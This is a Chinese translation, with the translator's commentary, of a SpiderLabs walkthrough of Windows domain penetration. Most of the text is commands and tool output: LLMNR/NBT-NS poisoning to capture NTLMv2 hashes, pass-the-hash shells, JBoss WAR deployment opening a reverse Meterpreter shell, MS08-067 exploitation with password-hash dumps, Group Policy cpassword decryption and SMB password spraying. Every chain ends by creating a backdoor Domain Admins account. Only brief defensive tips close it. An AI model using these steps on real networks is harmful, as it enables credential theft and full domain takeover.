spiderlabs總結的,我簡單翻譯下,偶爾加點我的牢騷。
這個方法在WIN工作組下滲透很有用,WIN的請求查詢順序是下面三個步驟:本地hosts文件(%windir%\System32\drivers\etc\hosts),DNS服務器,NetBIOS廣播,如果前2個請求失敗,則在本地發送NetBIOS廣播請求,此時任何本地網絡的系統都能回答這個請求,使用SpiderLabs出品的Responder工具,能夠在不借助ARP欺騙的情況下,響應這個請求.其實metasploit也能利用(http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html),但實際測試還是Responder比較好,都是套用標準庫寫的,很方便在目標上使用:)
~/Responder# python Responder.py -i 192.168.8.25
NBT Name Service/LLMNR Answerer 1.0.
Please send bugs/comments to: [email protected]
To kill this script hit CRTL-C
[+]NBT-NS & LLMNR responder started
Global Parameters set:
Challenge set is: 1122334455667788
WPAD Proxy Server is:OFF
HTTP Server is:ON
HTTPS Server is:ON
SMB Server is:ON
SMB LM support is set to:0
SQL Server is:ON
FTP Server is:ON
DNS Server is:ON
LDAP Server is:ON
FingerPrint Module is:OFF
LLMNR poisoned answer sent to this IP: 192.168.8.112. The requested name was : wpad.
LLMNR poisoned answer sent to this IP: 192.168.8.112. The requested name was : wpad.
LLMNR poisoned answer sent to this IP: 192.168.8.12. The requested name was : 110.
…snip…
NBT-NS Answer sent to: 192.168.8.6
[+]SMB-NTLMv2 hash captured from : 192.168.8.6
Domain is : BEACONHILLSHIGH
User is : smccall
[+]SMB complete hash is : smccall::BEACONHILLSHIGH:1122334455667788:reallylonghash
Share requested: \\ECONOMY309\IPC$
…snip...
LLMNR poisoned answer sent to this IP: 192.168.8.11. The requested name was : wpad.
[+]SMB-NTLMv2 hash captured from : 192.168.8.11
Domain is : BEACONHILLSHIGH
User is : lmartin
[+]SMB complete hash is : lmartin:: BEACONHILLSHIGH:1122334455667788:reallylonghash
Share requested: \\ADVCHEM\311IPC$
…snip…
這里的LM, NTLMv1, or NTLMv2哈希,能夠用GPU或者彩虹表暴力破解.如果在responder會話過程中,抓到一個域管理員帳號,能夠直接使用winexe運行cmd.exe命令
~/work/nmap# ~/SpiderLabs/winexe-PTH -U BEACONHILLSHIGH\\smccall%allison --uninstall --system //192.168.8.6 cmd.exe
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>net user twadmin $piD3rsRul3! /add /domain
net user twadmin $piD3rsRul3! /add /domain
The request will be processed at a domain controller for domain beaconhillshigh.edu.
The command completed successfully.
C:\WINDOWS\system32> net group "Domain Admins" twadmin /add /domain
net group "Domain Admins" twadmin /add /domain
The request will be processed at a domain controller for domain beaconhillshigh.edu.
The command completed successfully.
可以前期先用nmap掃描下端口,識別出常見的JAVA應用服務器,后期配合Metasploit的auxiliary模塊來利用.比如jboss漏洞.最常見的就是弱口令了吧,同理的,也可以尋找webloigc,websphere,tomcat等這些基于JAVA的應用服務器,還有最近國內政府部門部署比較多的Apusic,不過需要注意war包格式,進后臺,直接部署WAR就行了.jboss的除了弱口令,還有個后臺繞過,和流傳很久的1337那個.用例說下如何用metasploit暴力破解jboss后臺,以及部署war包.
msfcli auxiliary/scanner/http/dir_scanner THREADS=25 RHOSTS=file:./8080 DICTIONARY=./http.scan.list RPORT=8080 E >> http.jboss.8080
~/work/nmap# cat http.jboss.8080 <-- 這個是開25線程字典跑8080端口jboss后臺的
[*] Initializing modules...
THREADS => 25
RHOSTS => file:./8080
DICTIONARY => ./http.scan.list
RPORT => 8080
[*] Detecting error code
[*] Detecting error code
[*] Detecting error code
[*] Detecting error code
[*] Using code '404' as not found for 192.168.5.18
[*] Using code '404' as not found for 192.168.5.21
[*] Using code '404' as not found for 192.168.5.20
[*] Found http://192.168.5.20:8080/web-console/ 401 (192.168.5.20)
[*] http://192.168.5.20:8080/web-console/ requires authentication: Basic realm="JBoss JMX Console"
[*] Found http://192.168.5.20:8080/web-console/ 404 (192.168.5.20)
[*] Found http://192.168.5.20:8080/jmx-console/ 401 (192.168.5.20)
[*] http://192.168.5.20:8080/jmx-console/ requires authentication: Basic realm="JBoss JMX Console"
[*] Found http://192.168.5.21:8080/jmx-console/ 404 (192.168.5.21)
[*] Scanned 4 of 4 hosts (100% complete)
[*] Auxiliary module execution completed
Output from use auxiliary/scanner/http/jboss_vulnscan:
[*] 192.168.5.20:8080 /jmx-console/HtmlAdaptor requires authentication (401): Basic realm="JBoss JMX Console"
[*] 192.168.5.20:8080 Check for verb tampering (HEAD)
[+] 192.168.5.20:8080 Got authentication bypass via HTTP verb tampering
[+] 192.168.5.20:8080 Authenticated using admin:admin
[+] 192.168.5.20:8080 /status does not require authentication (200)
[+] 192.168.5.20:8080 /web-console/ServerInfo.jsp does not require authentication (200)
[+] 192.168.5.20:8080 /web-console/Invoker does not require authentication (200)
[+] 192.168.5.20:8080 /invoker/JMXInvokerServlet does not require authentication (200)
Output from use exploit/multi/http/jboss_maindeployer: <--部署war包
msf exploit(jboss_maindeployer) > exploit
[*] Started reverse handler on 192.168.5.233:4444
[*] Sorry, automatic target detection doesn't work with HEAD requests
[*] Automatically selected target "Java Universal"
[*] Starting up our web service on http://192.168.5.233:1337/HlusdqEcokvXH.war ...
[*] Using URL: http:// 192.168.5.233:1337/HlveuqEzrovXH.war
[*] Asking the JBoss server to deploy (via MainDeployer) http://192.168.5.233:1337/HlusdqEcokvXH.war [*] Sending the WAR archive to the server...
[*] Sending the WAR archive to the server...
[*] Waiting for the server to request the WAR archive....
[*] Shutting down the web service...
[*] Executing HlusdqEcokvXH...
[+] Successfully triggered payload at '/HlusdqEcokvXH/ewNYTEdFnYdcaOl.jsp'
[*] Undeploying HlusdqEcokvXH...
[*] Sending stage (30355 bytes) to 192.168.5.159
[*] Meterpreter session 1 opened (192.168.5.233:4444 -> 192.168.5.20:4209) at 2013-09-15 19:00:06 -0600
meterpreter > sysinfo
Computer : BHHSMOFF011
OS : Windows 2003 5.2 (x86)
Meterpreter : java/java
meterpreter > shell
Process 1 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\DELLBAC\EJBContainer\bin>whoami
whoami
beaconhillshigh\backup_admin
C:\>net user twadmin $piD3rsRul3! /add /domain
net user twadmin $piD3rsRul3! /add /domain
The request will be processed at a domain controller for domain beaconhillshigh.edu.
The command completed successfully.
C:\>net group "Domain Admins" twadmin /add /domain
net group "Domain Admins" twadmin /add /domain
The request will be processed at a domain controller for domain beaconhillshigh.edu.
The command completed successfully.
這個漏洞已經超過4年了,但是內網中還是有很多機器沒有打補丁,影響的有(Windows Server 2000, Windows Server 2003, and Windows XP),不過說實話,我內網滲透的過程中很少用MS08-067,因為溢出不好,有可能造成DOS,被人發現了,就不好了,你懂得.
nmap --script=smb-check-vulns.nse -v -v -p 445,139 -iL smb -oA ms08 less ms08.nmap <-- 使用NMAP的smb-check-vulns腳本識別下
...snip...
Nmap scan report for shelob-squared (192.168.1.103)
Host is up (0.00042s latency).
Scanned at 2013-09-16 21:52:32 CDT for 55s
PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds
MAC Address: 00:0C:29:E3:25:78 (VMware)
Host script results:
| smb-check-vulns:
| MS08-067: VULNERABLE <--bingo..有漏洞
| Conficker: Likely CLEAN
| SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE
| MS06-025: NO SERVICE (the Ras RPC service is inactive)
|_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive)
...snip...
nmap的NSE腳本是用LUA語言寫的,把這些NSE都過一遍,對滲透很有幫助哦,尤其是在LINUX平臺,win平臺下除了有幾種掃描方式利用不了,NSE腳本照樣可以用,不過LINUX上默認安裝的NMAP版本都比較低了,你不能直接放NSE到目錄,注意看庫之間的依賴關系,才能利用,上次看wooyun的drops,[email protected],說用nse也實現了一個,我只想說,你能偷偷發我一份嗎?
接下來,還是用metasploit溢出，不知道對中文系統效果怎么樣，我沒有試過 =.=
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.103
RHOST => 192.168.1.103
msf exploit(ms08_067_netapi) > set TARGET 0
TARGET => 0
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.215
LHOST => 192.168.1.215
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.103
[*] Meterpreter session 1 opened (192.168.1.215:33354 -> 192.168.1.103:4444) at 2013-09-16 21:54:15 -0500
meterpreter > getsystem
...got system (via technique 1).
meterpreter > sysinfo
Computer : SHELOB-SQUARED
OS : Windows XP (Build 2600, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 48c76bfa334c4c21edd1154db541c2c2...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
Frodo:"what do i have"
Samwise:"Frodo"
Stryder:"love"
Legolas:"favorite saying"
Gimli:"what am i"
Boromir:"what I am"
Gandalf:"moria"
[*] Dumping password hashes...
Administrator:500:f75d090d8564fd334a3b108f3fa6cb6d:3019d5d61cdf713c7b677efefc22f0e5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:7e8a50750d9a1a30d3d4a83f88ea86ab:6fba9c0f469be01bab209ee2785a818d:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:861165412001ece0a5e73ab8863129d8:::
Frodo:1003:74052b0fb3d802a3be4db4ed34a95891:a7cee25799f518f9bd886683a13ed6d0:::
Samwise:1004:aad3b435b51404eeaad3b435b51404ee:7dff81410af5e2d0c2b6e54a98a8f622:::
Stryder:1005:825f8bc99c2a5013e72c57ef50f76a05:1047f0b952cfbffbdd6c34ef6bd610e5:::
Legolas:1006:625d787db20f1dd8aad3b435b51404ee:cc5b9f225e569fa3a2534be394df531a:::
Gimli:1007:aad3b435b51404eeaad3b435b51404ee:e4d2534368ff0f1cbe2a42c5d79b9818:::
Boromir:1008:e3bee25ac9de68cec2cc282901fd62d9:4231db4c15025d1951f3c0d39d8656a2:::
Gandalf:1009:20ef2c7725e35c1dbd7cfc62789a58c8:02d0a4d2b6c7d485a935778eb90e0446:::
meterpreter > shell
Process 2708 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\ WINDOWS\system32>whoami
whoami
MIRKWOOD\Gandalf
C:\WINDOWS\system32>net user twadmin $piD3rsRul3! /add /domain
The request will be processed at a domain controller for domain MIRKWOOD.
The command completed successfully.
C:\WINDOWS\system32>net group "Domain Admins" twadmin /add /domain
net group "Domain Admins" twadmin /add /domain
The request will be processed at a domain controller for domain MIRKWOOD.
The command completed successfully.
這個原理完全可以看瞌睡龍牛翻譯的http://drops.wooyun.org/papers/576,本文中亮點是他從LINUX連接到WIN的,有許多同學不會通過linux滲透WIN域,尤其是在得到一個WEBSHELL,還是ROOT權限,還是跟內網連著,還有個域用戶的情況下(=.=現實中哪兒有這么多好的條件讓你都碰到了)
smbclient -W MIRKWOOD -U ‘Legolas%orcs’ \\\\192.168.1.105\\SYSVOL <--使用smbclient連接, 支持上傳下載
Domain=[ MIRKWOOD] OS=[Windows Server 2008 R2 Standard 7600] Server=[Windows Server 2008 R2 Standard 6.1]
smb: \> dir
. D 0 Wed Sep 15 15:08:37 2012
.. D 0 Wed Sep 15 15:08:37 2012
mirkwood.local D 0 Wed Sep 15 15:08:37 2012
48457 blocks of size 4194304. 44175 blocks available
smb: \> cd mirkwood.local\
smb: \smirkwood.local\> dir
. D 0 Wed Sep 15 15:13:05 2012
.. D 0 Wed Sep 15 15:13:05 2012
Policies D 0 Tue Oct 30 10:29:31 2012
scripts D 0 Thu Nov 8 12:50:21 2012
smb:\> recurse
smb:\> prompt off
smb:\> mget Policies
…snip…
getting file \mirkwood\Policies\PolicyDefinitions\access32.admx of size 98874 as access32.admx (3657.0 KiloBytes/sec) (average 3657.0 KiloBytes/sec)
getting file \ mirkwood \Policies\PolicyDefinitions\access34.admx of size 131924 as access34.admx (27324.5 KiloBytes/sec) (average 7038.2 KiloBytes/sec)
getting file \ mirkwood \Policies\PolicyDefinitions\ActiveXInstallService.admx of size 7217 as ActiveXInstallService.admx (2303.1 KiloBytes/sec) (average 6722.5 KiloBytes/sec)
getting file \ mirkwood \Policies\PolicyDefinitions\AddRmvPrograms.admx of size 7214 as AddRmvPrograms.admx (2301.6 KiloBytes/sec) (average 6446.2 KiloBytes/sec)
getting file \ mirkwood \Policies\PolicyDefinitions\asdf.admx of size 4249 as asdf.admx (122.0 KiloBytes/sec) (average 4940.4 KiloBytes/sec)
getting file \ mirkwood \Policies\PolicyDefinitions\AppCompat.admx of size 4893 as AppCompat.admx (2633.2 KiloBytes/sec) (average 4835.6 KiloBytes/sec)
getting file \ mirkwood \Policies\PolicyDefinitions\AttachmtMgr.admx of size 3865 as AttachmtMgr.admx (2912.5 KiloBytes/sec) (average 4752.0 KiloBytes/sec)
getting file \ mirkwood \Policies\PolicyDefinitions\AutoPlay.admx of size 5591 as AutoPlay.admx …snip…
smb:\> recurse
smb:\> prompt off
smb:\> mget scripts
…snip…
smb: \avi\> mget scripts
Get directory scripts? y
Get directory bin? y
Get file #INCLUDE.BAT? y
getting file \ mirkwood \scripts\bin\#INCLUDE.BAT of size 2839 as #INCLUDE.BAT (409.6 KiloBytes/sec) (average 409.7 KiloBytes/sec)
getting file \ mirkwood \scripts\bin\NETLOGON.BAT of size 1438 as NETLOGON.BAT (28.9 KiloBytes/sec) (average 137.7 KiloBytes/sec)
getting file \ mirkwood \scripts\bin\NETLOGON2.BAT of size 16781 as NETLOGON2.BAT (691.0 KiloBytes/sec) (average 566.0 KiloBytes/sec)
getting file \ mirkwood \scripts\bin\NETLOGON3.BAT of size 16486 as NETLOGON3.BAT (1268.5 KiloBytes/sec) (average 773.6 KiloBytes/sec)
getting file \ mirkwood \scripts\bin\NETLOGON4.BAT of size 17429 as NETLOGON4.BAT (1108.7 KiloBytes/sec) (average 858.8 KiloBytes/sec)
…snip…
Once the files are downloaded, grep through both policies and scripts for Administrator or cpassword (either would work in this instance):
grep -ri administrator .
grep -ri cpassword .
~/work/nmap/192.168.1.0-24/downloads/Policies# grep -ri administrator .
./{FC71D7SS-51E2-4B9D-B261-GB8C9733D433}/Machine/Preferences/Groups/Groups.xml: :<Groups clsid="{3125E277-EB16-4b4c-6534-544FC6D24D26}"><User clsid="{HH5F1654-51E6-4d24-9B1A-D9BFN34BA1D1}" name="Administrator (built-in)" image="2" changed="2012-12-30 12:47:25" uid="{8E2D5E22-E914-438F-SS5D-FDDA92925BB7}" userContext="0" removePolicy="0"><Properties action="U" newName="" fullName="" description="" cpassword="j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw" changeLogon="0" noChange="0" neverExpires="0" acctDisabled="0" subAuthority="RID_ADMIN" userName="Administrator (built-in)"/></User>
The cpassword is taken and run through the decryption script from http://carnal0wnage.attackresearch.com/2012/10/group-policy-preferences-and-getting.html.
~/work# ruby decrypt.rb <--解密
Local*P4ssword!
~/work/nmap# ~/SpiderLabs/winexe-PTH -U MIRKWOOD\\’Administrator%Local*P4ssword!’ --uninstall --system //192.168.1.103 cmd.exe <-- winexe和win下經典工具psexec效果一樣一樣的
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\WINDOWS\system32> net user twadmin $piD3rsRul3! /add /domain
The request will be processed at a domain controller for domain MIRKWOOD.
The command completed successfully.
C:\WINDOWS\system32>net group "Domain Admins" twadmin /add /domain net group "Domain Admins" twadmin /add /domain
The request will be processed at a domain controller for domain MIRKWOOD.
The command completed successfully.
其實就是說,域服務器,允許你空會話連接,然后列舉賬戶信息,然后在破解賬戶,LINUX下用enum4linux.pl遍歷用戶,用medusa破解帳號,用winexec連接執行命令.WIN下的話,<<黑客大曝光>>查點那章看過木?
~/enum4linux.pl -u Legolas -p orcs -w MIRKWOOD -a 192.168.1.90 >> enum-192.168.1.90
~/work/targets/192.168.1.0-24# cat enum-192.168.1.90
Starting enum4linux v0.8.7 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Sep 10 10:15:14 2013
==========================
| Target Information |
==========================
Target ........... 192.168.1.90
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
===================================================
| Enumerating Workgroup/Domain on 192.168.1.90 |
===================================================
[+] Got domain/workgroup name: MIRKWOOD
===========================================
| Nbtstat Information for 192.168.1.90 |
===========================================
Looking up status of 192.168.1.90
MODOR <00> - M Workstation Service
MIRKWOOD <00> - M Domain/Workgroup Name
MIRKWOOD <1c> - M Domain Controllers
MORDOR <20> - M File Server Service
MAC Address = B5-AD-2F-37-2G-4F
====================================
| Session Check on 192.168.1.90 |
====================================
[+] Server 192.168.1.90 allows sessions using username '', password ''
…snip…
============================
| Users on 192.168.1.90 |
============================
index: 0x2b76 RID: 0xd08 acb: 0x00000610 Account: Administrator Name: Administrator Desc: (null)
index: 0x1822 RID: 0xb0a acb: 0x00000414 Account: Frodo Name: Frodo Baggins Desc: (null)
index: 0x1bga RID: 0xc0a acb: 0x00080210 Account: Samwise Name: Samwise Gamgee User Desc: (null)
index: 0x1dc4 RID: 0xc7a acb: 0x00050210 Account: Stryder Name: Aragorn User Desc: (null)
index: 0x1823 RID: 0xb0b acb: 0x00007014 Account: Legolas Name: Legolas Greenleaf Desc: (null)
index: 0x1824 RID: 0xb0c acb: 0x00010014 Account: Gimli Name: Gimli son of Glóin Desc: (null)
index: 0x1825 RID: 0xb0d acb: 0x00300014 Account: Boromir Name: Boromir son of Denethor II Desc: (null)
index: 0x126f RID: 0x9eb acb: 0x00004014 Account: Gandalf Name: Gandalf the Gray Desc: (null)
index: 0x1826 RID: 0xb0e acb: 0x00020015 Account: gollum Name: gollum Desc: (null)
…snip…
~/work/targets/192.168.1.90# cat enum-192.168.1.90 .txt | grep "Domain Admins"
Group 'Administrators' (RID: 544) has member: MIRKWOOD\Domain Admins
Group:[Domain Admins] rid:[0x200]
Group 'Domain Admins' (RID: 512) has member: MIRKWOOD \Gandalf
Group 'Domain Admins' (RID: 512) has member: MIRKWOOD \Stryder
Group 'Domain Admins' (RID: 512) has member: MIRKWOOD \Administrator
Group 'Domain Admins' (RID: 512) has member: MIRKWOOD \gollum
Group 'Domain Admins' (RID: 512) has member: MIRKWOOD \Saruman
S-1-5-21-8675309254-522963170-1866889882-512 MIRKWOOD \Domain Admins (Domain Group)
S-1-5-21-1897573695-8675309227-1212564242-512 MORDOR\Domain Admins (Domain Group)
~/work/nmap/# medusa -M smbnt -H smb -u gollum -p gollum -m GROUP:DOMAIN | tee smb-gollum.medusa
ACCOUNT CHECK: [smbnt] Host: 192.168.1.1 (1 of 62, 0 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete)
ACCOUNT FOUND: [smbnt] Host: 192.168.1.1 User: gollum Password: gollum [SUCCESS (0x000072:STATUS_ACCOUNT_DISABLED)]
ACCOUNT CHECK: [smbnt] Host: 192.168.1.100 (2 of 62, 1 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete)
ACCOUNT FOUND: [smbnt] Host: 192.168.1.100 User: gollum Password: gollum [SUCCESS (0x000072:STATUS_ACCOUNT_DISABLED)]
ACCOUNT CHECK: [smbnt] Host: 192.168.1.105 (3 of 62, 2 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete)
ACCOUNT FOUND: [smbnt] Host: 192.168.1.105 User: gollum Password: gollum [SUCCESS]
ACCOUNT CHECK: [smbnt] Host: 192.168.1.106 (4 of 62, 3 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete)
ACCOUNT FOUND: [smbnt] Host: 192.168.1.106 User: gollum Password: gollum [SUCCESS (0x000072:STATUS_ACCOUNT_DISABLED)]
ACCOUNT CHECK: [smbnt] Host: 192.168.1.107 (5 of 62, 4 complete) User: ssadmin (1 of 1, 0 complete) Password: gollum (1 of 1 complete)
ACCOUNT FOUND: [smbnt] Host: 192.168.1.107 User: gollum Password: gollum [SUCCESS]
ACCOUNT CHECK: [smbnt] Host: 192.168.1.11 (7 of 62, 6 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete)
ACCOUNT FOUND: [smbnt] Host: 192.168.1.11 User: gollum Password: gollum [SUCCESS]
…snip…
~/work/nmap# ~/SpiderLabs/winexe-PTH -U MIRKWOOD\\gollum%gollum --uninstall --system //192.168.1.106 cmd.exe
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\ WINDOWS\system32>whoami
whoami MIRKWOOD\gollum
C:\WINDOWS\system32>> net user twadmin $piD3rsRul3! /add /domain
The request will be processed at a domain controller for domain MIRKWOOD.
The command completed successfully.
C:\WINDOWS\system32>net group "Domain Admins" twadmin /add /domain net group "Domain Admins" twadmin /add /domain
The request will be processed at a domain controller for domain MIRKWOOD.
The command completed successfully.
1.少用XP/win2k吧,否則為了某些兼容性,很少能全面禁止Netbios and LLMNR Name Poisoning
2.從知名站點下載軟件安裝程序,更換軟件自帶的默認口令
3.勤勞打全系統補丁
4.做好賬戶審核
5.禁止空會話,關鍵服務器,做好VLAN劃分